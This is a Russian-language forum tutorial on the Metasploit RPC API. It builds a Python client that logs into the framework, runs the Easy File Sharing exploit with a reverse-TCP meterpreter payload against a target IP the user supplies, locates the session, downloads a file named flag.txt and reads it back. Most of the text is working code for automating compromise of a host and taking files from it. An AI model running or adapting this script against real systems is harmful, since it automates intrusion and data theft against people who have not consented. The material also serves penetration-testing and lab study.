Используем Metasploit по полной. Часть 2.1 - RPC-API

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Введение.

Всех приветствую. Эта статья является прямым продолжением первой части, в которой мы рассмотрели оснонвые возможности фремйворка metasploit. И если первая часть была в основном рассчита на новичков, которые только начали осваивать фреймворк, то эта статья будет более углубленным разбором и порог вхождения тут будет повыше. Как минимум вам понадобится знания хотябы основ одного ЯП (здесь буду использовать pyhton, дабы было попроще).
Здесь мы копнем глубже - посмотрим на внутренее устройство фреймворка, разберемся как при помощи собственного кода можно расширить его возможности и как можно автоматизировать некоторые вещи или заставить фреймворк работать удаленно.
Задача не самая простая, особенно для новичков, но я постараюсь разложить все по полочкам.
План статьи у нас сегодня довольно простой :

Сначала мы разберем RPC -api фреймворка- посмотрим что это зачем нужно и как в теории с этим работать

Потом напишем скрипт на языке Python, который на практике покажет нам зачем нужно это апи и как с ним работать на уровне кода.

Ну и в финале рассмотрим готовый клиент для этого апи, от самого metasploit, который позволяет взаимодействовать с фреймворком удаленно

Изначально статья должна была состоять из одной части, однако, у метасплоита есть две версии RPC-api – собственно, обычный RPC, про который и пойдет речь в этой статье, а в следующей части мы еще больше углубимся в тему и рассмотрим вторую версию апи, которая, забегая вперед предоставляет более удобный способ выполнения задач, описаных в статье.
Ну и так как в процесе будет довольно большое количество кода, было решено разделить эту статью еще на две логические части, дабы вам не приходилось листать километровую страницу с описанием двух разных апи и различных фишек.
Здесь, в первой части пойдет речь об обычном RPC-api фреймворка, а в следующей уже посмотрим на JSON-RPC-API и бонусом расскажу о паре фишек, связаных с удаленным управлением фрейморка.

RPC-api
Эта фишка фреймворка на самом деле стала для меня открытием не так давно. До нее я добрался, когда мне в голову пришла идея заделать какой-нибудь простенький гуи для метасплойта. Не то, чтобы я не умел пользоваться консолью и был приверженцем окошек, тут скорее речь шла об автоматизации некоторых действий для конечного пользователя, и при этом желательно чтобы выглядело это примерно как большая кнопка “взломать” :) Конечно, автоматизировать действия можно и при помощи плагинов и скриптов, но можно пойти дальше. И вот что неожиданно для себя тогдашнего я выяснил:
У метасплойта есть встроенный RPC-сервер, который запускается как отдельный демон в системе и может принимать команды, которые в дальнейшем выполняет сам фреймворк, запущенный в этот момент на машине. То есть, такой интерфейс для удаленного управления инструментом через сеть.
Для тех кто вдруг не шарит что такое апи и чем оно в данном случае полезно – поясню. При помощи этой штуки, вы можете взять и отправить http запрос на сервер, на котором у вас крутится metasploit framework. В этом запросе вы указываете команду, которую хотите чтобы метасплоит выполнил. Метасплоит ее выполняет и возвращает вам результат. Таким образом, вы мало того что можете использовать фреймворк удаленно, но еще и можете автоматизировать некоторые действия. Да и к тому же, никто ведь не говорил, что фреймоврк обязательно должен быть на другом сервере. Вы можете одновременно стартануть его и написанный вами клиент на компе и сделать из клиента, например, GUI или красивенький Веб-интерфейс. Возможности по “кастомизации” фреймворка эта штука открывает достаточно большие, и сейчас мы с вами в этом убедимся на практике. Нам понадобится лишь чутка смекалки, веб-листик с документацией и немного навыков программирования.

Итак, cначала посмотрим теоретически. Как я уже сказал, фреймворк предоставляет нам возможность работать с RPC-api. Но что такое RPC-api и чем оно отличается от например всем известного REST ?
Отличие в том, что RPC разшифровывается как Remote Procedure Call, что переводится как Удаленный Вызов Процедур. И если обычные REST-api (в большинстве случаев) берут за основу элементы системы и позволяют делать с каждым из них несколько основных CRUD-действий (Create, Read, Update, Delete), отправляя разные http-запросы на разные эндпоинты, уникальные для каждой сущности, в случае с RPC (опять же, в большинстве случаев) подразумевается что вы просите сервер вывполнить какую-либо команду/совершить действие, а затем получаете в ответе результат выполнения, либо статус операции.
И как же это работает в нашем случае ?
Если описать вкратце то так – мы формируем определенные http-запросы, которые потом отправляем на один единственный эндпоинт (url), однако начинка у этих запросов будет разная и будет содержать команды, которые мы хотим чтобы фреймворк выполнил.

Давайте подробнее посмотрим как это сделать:
Логично что первое что нам нужно сделать – запустить RPC-сервер который входит в состав metasploit framework. Сделать это можно двумя способами – из самого фрейморка, через подгрузку модуля, и через отдельный пакет msfrpcd который так-же входит в состав фреймворка.

Расмотрим их по порядку – начнем с запуска из фреймворка:
Для этого мы сначала запускаем сам фреймворк:
msfconsole
А затем вводим вот такую команду:
1727056297718.png


Здесь у нас указываются два параметра – User и Pass, логин и пароль соответственно . Они будут нужны далее, чтобы авторизоваться через апи.
Но мы можем их явно не указывать, тогда логин будет использован по умолчанию – msf, а пароль будет сгенерирован случайно:
1727056313235.png


ак же, мы можем указать параметры ServerHost и ServerPort. Второй параметр – понятно, нужен для настройки порта, первый же для указания адреса. По умолчанию сервер запустится на локальной петле, а значит не будет доступен с других систем. Если вам нужно чтобы он торчал наружу в локальную (или может вдруг глобальную) сеть, его тоже придется задать вручную, выставив адрес нужного вам интерфейса.
Так же, еще важный параметр, на который нужно обратить внимание – флаг -S, который отвечает за включение или выключение SSL. По умолчанию при запуске через модуль фреймворка он установлен в значение False, но мы можем его включить поменяв значение на True при запуске.
Это довольно важная штука, так что запомните этот момент.
Однако если вы используете апи чисто для себя, рекомендую этот параметр выключить, дабы в коде не возиться потом с сертификатами. Я SSL не использовал, дабы не усложнять, но если вы решите в процессе, что SSL вам все-таки необходим, настроить код для его корректной работы с https - проблем особых это вызывать не должно.

В итоге у нас получается примерно вот такая команда для запуска из фреймворка:
load msgrpc ServerHost=192.168.1.0 ServerPort=8888 User=user Pass='pass123'
1727056367769.png


После этого RPC-сервер фреймворка готов принимать запросы. Теперь перейдем ко второму способу.

Второй способ запуска – через пакет msfrpcd.
Команда для запуска в целом мало чем отличается от того что мы использовали во фреймворке, мы так же передаем параметры, но уже через флаги

- a – флаг для указания ip-адреса сервера
- p – флаг для указания порта
- U - флаг для указания имени пользователя
- P – флаг для указания пароля пользователя
- S – флаг для включения/выключения SSL

Касаемо SSL, обратите внимание что при запуске через msfrpcd SSL, в отличие от запуска через модуль, по умолчанию будет включен, если вы явно, через флаг, не укажете обратное. Или же, достааточно как в данном примере, просто указать флаг -S без параметров, это автоматически переведет значение параметра в False
Так же, я добавлю к команде флаг -f для запуска в форграунде, дабы постоянно видеть что с сервером. Если вам это ненужно, можете не указывать флаг и сервер запустится в бэкграунде. Вы же сможете продолжить пользоваться терминалом.

В итоге получается вот такая команда:

[I]msfrpcd -a 127.0.0.1 -p 8888 -U user -P pass123 -S -f [/I]

1727056443404.png



Metasploit messagepack API
После этоих всех манипуляций, мы наконец уже можем начинать отправлять запросы. Все запросы имеют примерно одинаковый вид – запрос всегда отправляется на один эндпоинт (url) -

http://<server-ip>/api

Сам запрос имеет следующий вид:
Это всегда POST запрос с Content-Type binnary/message-pack и закодированным контентом в теле определенного вида. Само тело запроса почти всегда имеет вот такой вот вид:

[“<action>”,”<token>”,...”<options>”...]

То есть, мы передаем массив строк, в котором указываем действие, которое ждем от сервера, токен авторизации, и в некоторых случаях дополнительные параметры.
Сами данные шифруются по протоколу messagepack, который их сжимает. Этот протокол не особо популярный, но под него есть библиотеки почти у любого языка, так что написание клиента особых проблем не вызовет. Но об этом поговорим чуть позже, когда уже возьмемся за код, сейчас важно что данные шифруются определенным образом перед отправкой и ответ приходит тоже запакованный.
После распаковки ответ предстает перед нами в обычыном json формате, который, разумеется, для каждого запроса будет уникальным, так что общий шаблон тут выделить нельзя.

По поводу авторизации – здесь тоже все довольно просто. Есть процедура авторизации через введенные вами в предыдущем шаге (при запуске фреймворка) креды, которая сгенерирует вам токен, который вы уже будете потом просто крепить к запросу как параметр. Подробнее рассмотрим уже по ходу написания кода.
Вот такое примерно описание RPC-API метасплойта.

Само RPC-api, согласно официальной документации, поддерживает следующие группы методов:

1. Аутентификация / auth
Здесь все понятно – эта группа методов отвечает за работу с данными пользователя. Когда мы запускаем сервер, мы указываем данные, которые нужно будет использовать для удаленного подключения. На основе этих данных пользователь получает токен, который потом используется во всех остальных группах запросов как обязательный параметр.

2. Ядро / core
Эта группа методов помогает взаимодействовать с ядром фреймворка, получая различные данные по бэкграунд процессам, позволяет добавлять и обновлять модули, а так же можно управлять даже самим metasploit сервером.

3. Консоли / console
Это по сути одна из самых важных групп методов апи, так как с ее помощью мы можем организовать что-то вроде взаимдействия команда-ответ с сервером. То есть, эта группа методов позволяет нам работать с сервером через сеть примерно так же, как мы работаем с местасплоитом через интерфейс msfconsole. Отправляем команду, получаем ответ.

4. Задачи /jobs
Эта группа методов, как можно догагдаться из названия, нужна для работы с фоновыми процессами и задачами, о которых мы говорили в первой части.

5. Модули /modules
А вот эта группа модулей позволяет уже взаимодействовать с модулями. Она позволяет получать информацию о количестве определенных модулей, их параметрах, подходящих к ним других модулям (например какие пейлоады будут валидны для определенного эксплойта), а так же настраивать и запускать их.

6. Плагины / plugins
Эта группа модулей, как опять же понятно из названия, дает возможность работать с плагинами, с которыми мы познакомились выше, а именно загружать их, выгружать и проверять наличие. По сути, это все возможности.

7. Сессии /sessions
Эта группа позволяет управлять открытыми сессиями, но у нее есть один важный козырь – имено с ее помощью можно удобно работать с meterpreter сессиями. Так что, эта группа нам тоже очень пригодится

(На самом деле этих групп чуть больше, и возможности у фреймворка чуть шире чем указано в документации Rapid7, как бы странно это не было. Однако, здесь поговорим про основы и поработаем с тем, о чем нам рассказали разработчики, а к более углубленным группам и их методам перейдем в следующей части)

Суть этих групп в том, что они представляют собой классы, которые содержат определенные методы, поэтому шаблон команд всегда будет выглядеть так- группа.метод, например auth.login или core.version
Ну и после того, как мы рассмотрели группы и выделили интересующие нас методы в документации, можем приступать к написанию кода. Писать будем на питоне, так как это наиболее простой для чтения и понимания код.
Итак, для начала определимся с целью нашего “кодирования”. Изначально, я думал накидать реальный графический интерфейс под метасплойт, однако от этой идеи было решено отказаться, так как кода будет дохрена и без того немалая статья превратиться в простыню текста и кода. Так что, предлагаю написать что-то небольшое, чтобы разобрать основные методы апихи и примерно понять как взимодействовать с сервером.
Поэтому, я предлагаю накидать скрипт, который будет автоматизировать наши действия, попутно задействовав как можно больше методов апи. Суть скрипта будет такая – он примет на вход айпишник цели, ломанет ее определнным эксплойтом из базы, но и на этом останавливатся он не будет. При получении сессии на хост, он вытащит один определенный файл из системы и сохранит его нам на хост. Затем мы посмотрим содержимое файла, используя все тот же метасплоит, для того чтобы посмотреть на еще одну группу методов апи. Таким образом выполнив лишь один скрипт, мы автоматизируем действия по взлому уязвимого хоста и получению нужных нам данных. И все это через фреймворк через уже знакомые нам команды.

Для примера мы предполагаем что цель, на которую мы будем натравливать скрипт, уязвима к одной определенной уявзимости в программе Easy File Sharing под windows7, эксплойт под которую есть в местаслоите из коробки.

Задачи скрипту я постарался поставить так, чтобы он задействовал как можно больше групп методов, дабы мы на примере могли посмотреть как с ними работать и рассмотреть разные ньюансы работы с апи. А ньюансы там есть, уж поверьте.

Таким образом набросаем общий алгоритм работы нашего скрипта:

1. Авторизация во фреймворке
2. Выбор эксплойта и его выполнение
3. Получение сессии на уязвимую машину
4. Скачивание через сессию нужного нам файла
5. Просмотр содержимого файла через оболочку metasploit. Просмотр файла сделаем через фреймворк для того чтобы разобраться как работать с консолью фреймворка через апи


Ну и после того как мы определились с этапами, можно начинать писать код.
Предлагаю начать издалека. Для того, чтобы взаимодействовать с апи нам понадобится отдельный класс, который мы обзовем клиентом и который будет выполнять всю работу по отправке команд и получения ответов от сервера. Да, при желании конечно можно было бы взять чью-то еще библу с гитхаба и кидать запросы с ее помощью. Однако, я думаю что не лишним будет копнуть поглубже и посмотреть как именно кидаются запросы и получаются ответы, ведь мы хотим научиться работать с апи, а не со сторонней библиотекой.

И теперь нам нужно определиться, какие действия и в каком порядке будут выполняться под капотом. Я предлагаю вот такой путь:

1. Авторизация – сначала мы авторизируемся в metasploit, без этого никак.
2. Получение версии фреймворка – используем эту стандартную функцию апи для того чтобы убедиться что все работает как надо и выведем на экран
3. Выбираем модуль типа эксплойт, устанавливаем его параметры и запускаем, проверяем все ли выполнилось
4. Получаем meterpreter сессию, проверяем куда мы попали и выводим информацию о взломанной системе.
5. Скачиваем нужный файл через сессию, после этого сессию закрываем.
6. Просмотриваем содержимое файла через консоль управления metasploit. Выводим содержимое на экран.

(Обычно я не пишу на питоне ничего сложнее простеньких скриптов для автоматизации, так что особо не знаком с тем как работает в нем ООП и как это дело лучше бы спроектировать. Так что, код показаный далее будет далек от идеала, но было решено всетаки использовать питон, в угоду простоте для понимания у аудитории, а заодно меня подкупило то, что библиотека для messagepack заработала сразу из коробки, чего почему-то не случилось например на Golang. Так что, попрошу из за качества кода особо камнями не кидаться, стояла задача сделать клиент – я его сделал и он работает. Если вы знаете как улучшить какие-то моменты в коде, который я покажу – пишите, интересно будет узнать )

Нулевым шагом мы создадим отдельный файл, в котором будем писать файл клиента и добавим зависимости, которые нам понадобятся. Самих зависимостей не обчень много, нам понадобится импортировать билу messagepack из стандартного набора python3, а так же библиотеку requests для взаимодействия с сервером и библиотеку json для работы с json-структурами:

Python: Скопировать в буфер обмена
import msgpack,requests, json


Продолжим тем, что создадим класс, и обьявим в конструкторе переменную url, которую мы передадим при создании обьекта и на этот юрл будут лететь все запросы.
Так же, определим поле token, которое после выполения авторизации будет хранить полученный токен. Нам придется крепить его практически к каждому запросу, так что логичным решением будет вынести его в отдельное поле класса:
Python: Скопировать в буфер обмена
Код:
class msf_client:

    __token=0

    def __init__(self,url):
        self.url = url

Следующим этапом мы в этом классе определим метод для отправки запросов. Процесс этот наверное самое сложное в нашем клиенте. Суть в том, что при отправке запроса нам каждый раз придется выполнять определенный порядок действий, а именно:

1. Запаковываем отправляемые данные в messagepack
3. Настраиваем параметры запроса
3. Непосредственно отправяляем запрос и получаем ответ
4. Полученный ответ так-же нужно будет распаковать и привести в удобночитаемый вид. Эта задача выполняется чуть сложнее чем звучит, но об этом чуть позже.

Суть в том, что все эти действия нам лучше вынести в отдельную функцию, таким образом нам не придется каждый раз прописывать их в каждом методе класса. Заместо этого мы получим удобную функцию, в которую мы будем отправлять простые удобночитаемые данные, а получать удобно-читаемую json-структуру. Давайте набросаем этот метод:
Python: Скопировать в буфер обмена
Код:
def Send_request(self,data):
        #1
        data_msg = msgpack.packb(data, use_bin_type=False, strict_types=True)
        #2
        headers = {'Content-type': 'binary/message-pack'}
        #3
        r =requests.post(url=self.url,headers=headers,data=data_msg,verify=False)
        #4
        result_msg = msgpack.unpackb(r.content, use_list=True, strict_map_key=False,raw=False)
        #5
        result = self.Decode_responce(result_msg)
        #6
        return result

Теперь посмотрим что же там происходит. Сама функция на вход будет принимать один параметр – data, в окотором будут хранится все данные которые нам нужно отправить (помните массив с командой, токеном и т.д.)

1. Первым действием внутри метода мы запаковыем данные для отправки в messagepack. Для этого используем метод packb из библиотеки messagepack и передаем так же доп параметры чтобы получилось именно то, что нужно метасплоиту
2. Далее создаем хедер для запроса, который мы потом передадим методу для оптравки. API метасплоита требует определенный content-type у запроса, а именно binary/messagepack
3. Кидаем запрос на сервер.
4. Полученный от сервера ответ нам нужно распаковать. Для этого мы используем метод unpackb с доп параметрами. В результат мы получаем json-словарь в котором илежат нужные нам пары ключ-значение
5. И вот здесь кроется один из ньюансов работы с api в нашем случае. Дело в том, что результат то мы получили, но тип данных в полученом словаре у некоторых элементов, что у ключей, что у значений - не string как это должно быть, а bytes. Решение этой проблемы мы вынесем в отдельную функцию дабы разделить задачи. О ней чуть далее.
6. Ну и возвращаем полученый из функции преобразователя json-обьект

Теперь о методе Decode_responce, который преобразует ответ в то, что нам нужно. Здесь тоже ничего сложного – создаем метод, в который мы будем передавать струкуру и потом в цикле пройдемся по ней и поменяем значения:

Python: Скопировать в буфер обмена
Код:
def Decode_responce(self,data):
        result = {}
        for key, value in data.items():
            if type(value) == dict:
                if type(key)==bytes:
                    result[key.decode("UTF-8")] = self.Decode_responce(value)
                else:
                    result[key] = self.Decode_responce(value)
                continue
            elif type(key)==bytes and type(value)==bytes:
                result[key.decode("UTF-8")] = value.decode("UTF-8")
                continue
            elif type(key)==bytes:
                result[key.decode("UTF-8")] = value
                continue
            elif type(value)==bytes:
                result[key] = value.decode("UTF-8")
                continue
        return result

Ну и первый ньюанс – это то что значением для одного из ключей структуры может быть другая вложеная структура.Добавляем в начало условие для проверки на этот случай и тут мы задействуем рекурсивный подход - вызываем в фнукции ее саму, проваливаясь на уровень ниже. Таким образом мы пройдемся по всему ответу преобразовав все что надо.
И далее у нас кроется еще один коварный момент – в приходящих к нам ответах в 90 % случаев и ключ и значение имею тип bytes, но иногда бывает так что либо значение ключа, либо значение приходят стразу в string. Поэтому сделаем проверку условий – на случай если оба параметры байтовые, если только ключ, или если его значение.
После того как мы прогоним структуру по этому коду, мы получим в переменной result новую струкутру в которой все будет в человеческом виде. Собственно эту переменную мы и возвращаем
После того как мы написали метод для отправки запросов, можем начинать непосредственно методы для нашего клиента. И первый метод с которого мы начнем – авторизация. Да, в целом авторизацию можно было бы вынести в конструктор, чтобы она происходила в момент создания обьекта класса и сразу записывала токен в предназанченное для него поле, но мне не нравится такой подход, так как не все методы требуют авторизации. Поэтому мы вынесем ее в отдельную функцию и будем вызывать после создания обьекта.

Сама функция будет принимает два параметра – логин и пароль и будет выглядеть так:
Python: Скопировать в буфер обмена
Код:
def auth(self, login,password):
        data = ["auth.login", login, password]
        result = self.Send_request(data)
        if result.get("result") == "success":
            self.__token = result['token']
            return True
        else:
            return False

1. Определяем полезную нагрузку для запроса в переменной data.
2. Вызываем метод для отправки запроса, который мы только что написали и передаем туда data
3. В случае если авторизация прошла успешно мы получим простой json-ответ:
{'result': 'success', 'token': 'auth_token'}
И если это так, записываем в переменную token сам токен доступа и передаем наверх что результат был успешен
4. Если же что-то пошло не так, выдаем наверх инфу что авторизация не совершена

Ну и для того чтобы сразу протестировать работает ли наш код, определим еще один метод для получения версии фреймворка через RPC-метод core.version. Выглядеть она будет так:
Python: Скопировать в буфер обмена
Код:
def get_version(self):
        data = ["core.version", self.__token]
        result = self.Send_request(data)
        return result


Здесь ничего сложного – задаем данные, отправляем запрос и возвращаем наверх ответ.

Теперь протестируем как разботает наш текущий код клиента. Создадим основной файл main.py, в котором импортируем созданный нами клиент. Помимо него так же импортируем библиотеку time, которая нам пригодится чуть позже и билиотеку argparse, через которую мы будем парсить настройки заданые пользователем

Сначала создаем функцию main, которую и сделаем точкой входа в нашем скрипте.
Python: Скопировать в буфер обмена
Код:
from msf_client import *
import time, argparse, sys


def main():
    pass

if __name__ == '__main__':
    main()

Задаем параметры скрипта через флаги
Первым делом сделаем так, чтобы пользователь задавал параметры (сервер, порт, логин, пароль, адрес и порт цели) через флаги. Параметры зададим сразу все, чтобы потом к этому не возвращаться. Для этого прописываем вот такой кусок кода:
Python: Скопировать в буфер обмена
Код:
    parser = argparse.ArgumentParser(description="Metasploit API script")
    parser.add_argument('-a','--api_ip', type=str, default="127.0.0.1", help="Adress metasploit API server")
    parser.add_argument('-p','--api_port', type=str, default="8888", help="Port metasploit API server")
    parser.add_argument('-u','--user', type=str, default="msf", help="Username for metasploit API server")
    parser.add_argument('-ps','--password', type=str, default="", help="Password for metasploit API server")
    parser.add_argument('-ta','--target_ip', type=str, default="", help="Target ip adress")
    parser.add_argument('-tp','--target_port', type=str, default="", help="Target port num")
    settings = parser.parse_args()

    login = settings.user
    password = settings.password
    api_ip = settings.api_ip
    api_port = settings.api_port
    target_ip = settings.target_ip
    target_port = settings.target_port

Здесь пользователь задает параметры вот так:

-a – адрес API-сервера метасплоит
-p – порт API-сервера метасплоит
-U / --user – username для аутентификации
-P /--pass – пароль для аутентификации
-ta/ --TargetAdress – ip цели
-tp/ --TargetPort – порт цели

Да, несколько громоздко, но все эти данные необходимы чтобы скрипт бы более гибким.

Далее из полученных данных о API-сервере формируем строку url для подключения и с ее помощью инциализруем обьект класса клиент:

Python: Скопировать в буфер обмена
Код:
url = "http://"+api_ip+":"+api_port+"/api"
client = msf_client(url)

Авторизация

После этого у созданого клиента вызываем функцию авторизации, в которую и передаем логин и пароль.

Python: Скопировать в буфер обмена
auth_result = client.auth(login,password)

Далее проверяем успех выполнения авторизации. Если что-то пошло не так, прекращаем выполение скрипта, так как дальнейшая работа без токена в нашем случае будет невозможна
Python: Скопировать в буфер обмена
Код:
 if auth_result != True:
        print("Auth error!")
        sys.exit(1)

Выводим версию

Первое что мы сделаем, для того чтобы убедиться что все работает и фреймворк отвечает как нужно – вызовем RPC-функцию, которая вернет нам версию фреймворка. Затем выведем результат в консоль:

Python: Скопировать в буфер обмена
Код:
version = client.get_version()
print("Metasploit framework version: " + version['version'])

Эта строка послужит своеборазным флагом что все работает как и ожидалось.

После этого запускаем первую версию нашего скрипта используя команду:
python3 main.py -a 127.0.0.1 -p 8888 -u user -ps pass123
1727057315388.png


И как видим мы получили номер версии фреймворка. Это говорит что наш код работает как надо и никаких проблем с ообщением с сервером нет. А значит можно приступать к реализации нашей логики для скрипта.

Так как авторизацию мы уже успешно реализовали, переходим к следующему этапу – Запуск нужного нам эксплойта

Выбираем и запускаем эксплойт

Для начала возвращаемся к коду нашего клиента. Здесь нам понадобится добавить еще один метод, который и отвечает за запуск модулей во фреймовре. Так как эксплойты во фреймворке являются модулями, запускать мы их будем именно так:

Python: Скопировать в буфер обмена
Код:
def module_execute(self,module_type, module_name, settings):
        data = ["module.execute",self.__token,module_type,module_name,settings]
        result = self.Send_request(data)
        return result

Метод будет принимать на вход тип, название и параметры модуля, который мы хотим запустить. Далее, уже через классический для нас Send_Request мы отправляем запрос и получаем ответ. Таким образом, мы и в дальнейшем сможем реализвовывать почти любые RPC-запросы к API буквально в три строчки кода.

Вернемся к скрипту. Тут сначала мы задаем параметры для запуска модуля, а именно:

1. Тип модуля. Нам нужен эксплойт, значит типом будет exploit. Записываем его в переменную
2. Название модуля. Здесь мы прописываем название эксплойта и закидываем его в переменную
3. Параметры модуля. Здесь нам нужно указать все необходимые параметры для запуска модуля, так же, как мы это делали бы в обычной консоли. Запишем их в словарь с названием
4. Ну и вызовем метод, который отвечает за запуск модуля, передав туда все параметры по порядку. Результат выполнения запишем в переменную exploit_job.

Python: Скопировать в буфер обмена
Код:
exploit_settings = {"RHOST": target_ip ,"RPORT": target_port,"payload":"windows/meterpreter/reverse_tcp","LHOST":"192.168.56.101","LPORT":"4444", "PayloadUUIDTracking":"True", "PayloadUUIDName":"test"}
exploit_name = "windows/http/easyfilesharing_post"
print("Run exploit...")
exploit_job = client.module_execute("exploit",exploit_name,exploit_settings)

time.sleep(5)

В саму переменную exploit_job, в случае успешного выполнения, придет вот такая вот структура.

{'job_id': 0, 'uuid': 'feip0cel'}

Здесь будет Job_id, через который мы в случае необходимости можем получить данные о том, как отпработал наш модуль и с какими параметрами. А самое главное, здесь есть параметр мы можем получить значение переменной uuid, которая нам пригодится на следующем этапе, так как именно она будет служить идентификатором той сессии, которая создалась в резльтате выполнения эксплойта.
И еще один важный момент. Процесс запуска модуля и создания сессии не моментальный, поэтому если мы попытаемся сразу продолжить выполнение кода – ничего у нас не получится, так как модуль еще не успел отпработать.
Лично я заморачиваться не стал и просто отправил скрипт поспать на несколько секунд. Да, костыль, но так как мы делаем все это примера ради –вполне подойдет.

Работаем с сессией

После того как наш код немного поспал и модуль успел завершить работу, мы можем подключаться к сессии. Для того чтобы взаимодействовать с сессиями в нашем скрипте нам потребуются четрые метода:

1. get_sessions_list – этот метод мы используем чтобы получить полный список сессий, которые сейчас активны. На предыдущем этапе, функция выполения модуля не возвращает нам id сессии, созданой в результате выполнения, а лишь uuid эксплойта, который лежит во вложенной структуре информации о сессии. А значит чтобы найти id нужной нам сессии, нам нужно будет получить их полный список и найти среди них нужную нам.
2. write_data_in_session – думаю здесь все понятно из названия. Через этот метод мы передаем команды в сессию
3. read_data_in _session – Этот метод тоже вполне логичен и служит для чтения вывода из консоли сессии, после запуска команды. Вы могли подумать что результат выполнения вернется в ответе после отправки команды, но это не так. Там мы получим лишь статус того, успешно ли была отправлена команда, а вот результат ее выполнения нам придется считывать отдельно.
4. session_kill – Ну и тут все просто. Поел – убери за собой. После того как мы закончим все свои дела внутри сессии, ее рекомендуется закрыть.

Python: Скопировать в буфер обмена
Код:
     def get_session_list(self):
        data = [ "session.list", self.__token ]
        result = self.Send_request(data)
        return result
    
    def send_data_in_session(self,session_id,command):
        data = [ "session.meterpreter_write", self.__token, session_id, command ]
        result = self.Send_request(data)
        return result

    def read_data_from_session(self,session_id):
        data = [ "session.meterpreter_read", self.__token, session_id]
        result = self.Send_request(data)
        return result

    def session_kill(self, session_id):
        data = ["session.meterpreter_session_detach", self.__token, session_id]
        result = self.Send_request(data)
        return result

После реализации необходимых методов, давайте вернемся к скрипту.
Здесь мы первым делом получим список сессий, чтобы найти среди них нашу. Результатом станет вот такая вот структура:
JSON: Скопировать в буфер обмена
Код:
{

"1" => {
...
  'type' => "shell",
  "uuid" => "asd1233",
  "exploit_uuid" => "123as23f",
...
  },
"2" => {
….
  'type' => "shell",
  "uuid" => "asd3431",
  "exploit_uuid" => "asdasd”
  }
...
}

Мы не знаем id сесси созданой нашим модулем, однако во вложенной структуре с информацей о сессии лежит параметр exploit_uuid, который идентичен полученному нами на предыдущем этапе параметру uuid, который и служит своеобразным маркером.
Для того чтобы найти нужную нам сессию - пишем вот такой код

Python: Скопировать в буфер обмена
Код:
    sessions = client.get_session_list()
    
    session_num = 0
    for key,value in sessions.items():
        if sessions[key]['exploit_uuid'] == exploit_job['uuid']:
            session_num = key
            break
        else:
            continue
    
    if session_num == 0:
        print("Session error!")
        sys.exit(1)

в цикле проходимся по полученном списку сессий и ищем ту, у которой в параметрах будет нужный нам айдишник. Будет он правда уже под немного другим ключом – exploit_uuid. Как только его находим – записываем в переменную и прекращаем поиск.

Если же после отработки цикла значение переменной осталось прежним, значит сессия найдена не была. А это значит что модуль не отработал как ожидалось и сессию мы не получили. Продолжать выполнение в таком случае смысла не имеет, так что в условии просто прекращаем работу скрипта, сообщив что что-то пошло не так. Remote Procedure Call

Если же все нормально, мы получили id уже сессии, с которой можем работать. Далее отправляем в сессию команду, передав туда id и команду на скачивание интересующего нас файла. В ответ нам придет информация о том, сколько символов было записано. Нас это не особо интересует, так что записывать эту информацию мы никуда не будем. Но процесс выполнения команды тоже не моментальный, поэтому отправляем наш код подождать еще пару секунд, после чего считываем что там вывелось в консоль сессии. И вот тут мы уже сохраним результат в переменную и выведем на экран как дополнительный способ логирования, который покажет, насколько успешно была выполнена команда.

Python: Скопировать в буфер обмена
Код:
    client.send_data_in_session(session_num, "download flag.txt")
    time.sleep(1)
    command_result = client.read_data_from_session(session_num)
    print("Send data in session...")
    print(command_result['data'])

Ну и после всех этих манипуляций, так как в дальнейшем развитии событий внутри сессии мы не нуждаемся, отправляем команду на завершение сессии
Python: Скопировать в буфер обмена
result_session = client.session_kill(session_num)
В результате, если мы все сделали правильно, при запуске скрипта мы увидим вот такую картину:
1727057675162.png


Файл скачался, и мы видим путь куда он сохранился. Как видим, это стандартная пользовательская директория, а значит мы легко можем прочитать содержимое. Поэтому переходим к следующему этапу.

Читаем содержимое через консоль metasploit
Ну и заключительным этапом давайте считаем содержимое файла, который мы загрузили с целевой машины. Да, это можно было бы сделать при помощи возможностей самого python, но давайте вспомним вот что – стандартная команда оболочка позволяет выполнять команды системной оболочки, в том числе и команду cat, которая выводит содержимое файла. Так что предлагаю воспользоваться этим и заодно посомтреть как можно работать со стандартной консолью metasploit через RPC-api.

Сначала идем в класс клиента и определяем методы которые нам понадобятся для этого. Всего таких методов четыре:

1.create_console – метод для создания консоли, в которую мы и будем передавать команды. Результатом получим структуру, в которой будет в том числе и id созданной консоли.
2.console_write – метод для записи данных в консоль. По аналогии с сессиями, он возвращает не результат выполнения команды, а информацию о том, сколько символов было записано, поэтому возвращенный ответ нас особо интересовать в этом случае не будет.
3.console_read – этот метод, опять же по аналогии с сессиями, служит для чтения данных, выведенных в консоли сессии в результате выполнения команды. Помимо результата выполнения, в ответе так же приходит значение флага Busy, который будет равен True в случае если отправленная в консоль команда еще не завершила свое выполнение. Этот флаг нам сейчас не пригодится, но в определенных ситуациях, когда команда выполняется не так быстро, может быть полезен.
4.console_destroy – Ну и по доброй традиции после того как мы сделаем все что нужно, консоль мы аннигилируем, дабы не загружать фреймворк лишний раз.
Python: Скопировать в буфер обмена
Код:
    def create_console(self):
        data = ["console.create", self.__token]
        result = self.Send_request(data)
        return result

    def console_destroy(self, console_id):
        data = ["console.destroy", self.__token, console_id]
        result = self.Send_request(data)
        return result['result']

    def console_write(self, console_id, command):
        data = ["console.write", self.__token, console_id, command+"\n"]
        result = self.Send_request(data)
        return result

    def console_read(self, console_id):
        data = [ "console.read", self.__token, console_id]
        result = self.Send_request(data)
        return result

Теперь возвращаемся к коду скрипта.
Здесь мы сначала создаем консоль и сразу же вытаскиваем из ответа функции id, который и записываем в соотсветствующую переменную.
Python: Скопировать в буфер обмена
console_id = client.create_console()['id']
Здесь еще один неочевидный момент. При создании консоли, метасплоит сразу выводи туда приветсвенный баннер, и если мы сейчас не считаем содержимое, в дальнейшем оно придет вместе с нужной нам информацией и забьет вывод терминала. Нам это не нужно, так что перед тем как отправляем команду на считывание приветствия, но результат никуда не пишем, так как мы в нем не нуждаемся.
Python: Скопировать в буфер обмена
client.console_read(console_id)
Далее отправляем через console_write метод команду “cat flag.txt” которая и выведет содержимое скачанного файла в созданную нами консоль.
Python: Скопировать в буфер обмена
client.console_write(console_id,"cat flag.txt")
После этого добавлем небольшой заголовок к выводу для удобства и вызываем метод для чтения из консоли, результат которого выводим в консоль. Но выводим мы не весь полученный ответ, а только содержимое ключа “data”, который и содержит вывод. В нашем случае это единственная информация в ответе, которая нас интересует. Ну и процесс выполнения команды чтения файла тоже не моментальный, потому перед считыванием подождем одну секунду, чтобы содержимое успело вывестись в консоль.
Python: Скопировать в буфер обмена
Код:
    time.sleep(1)
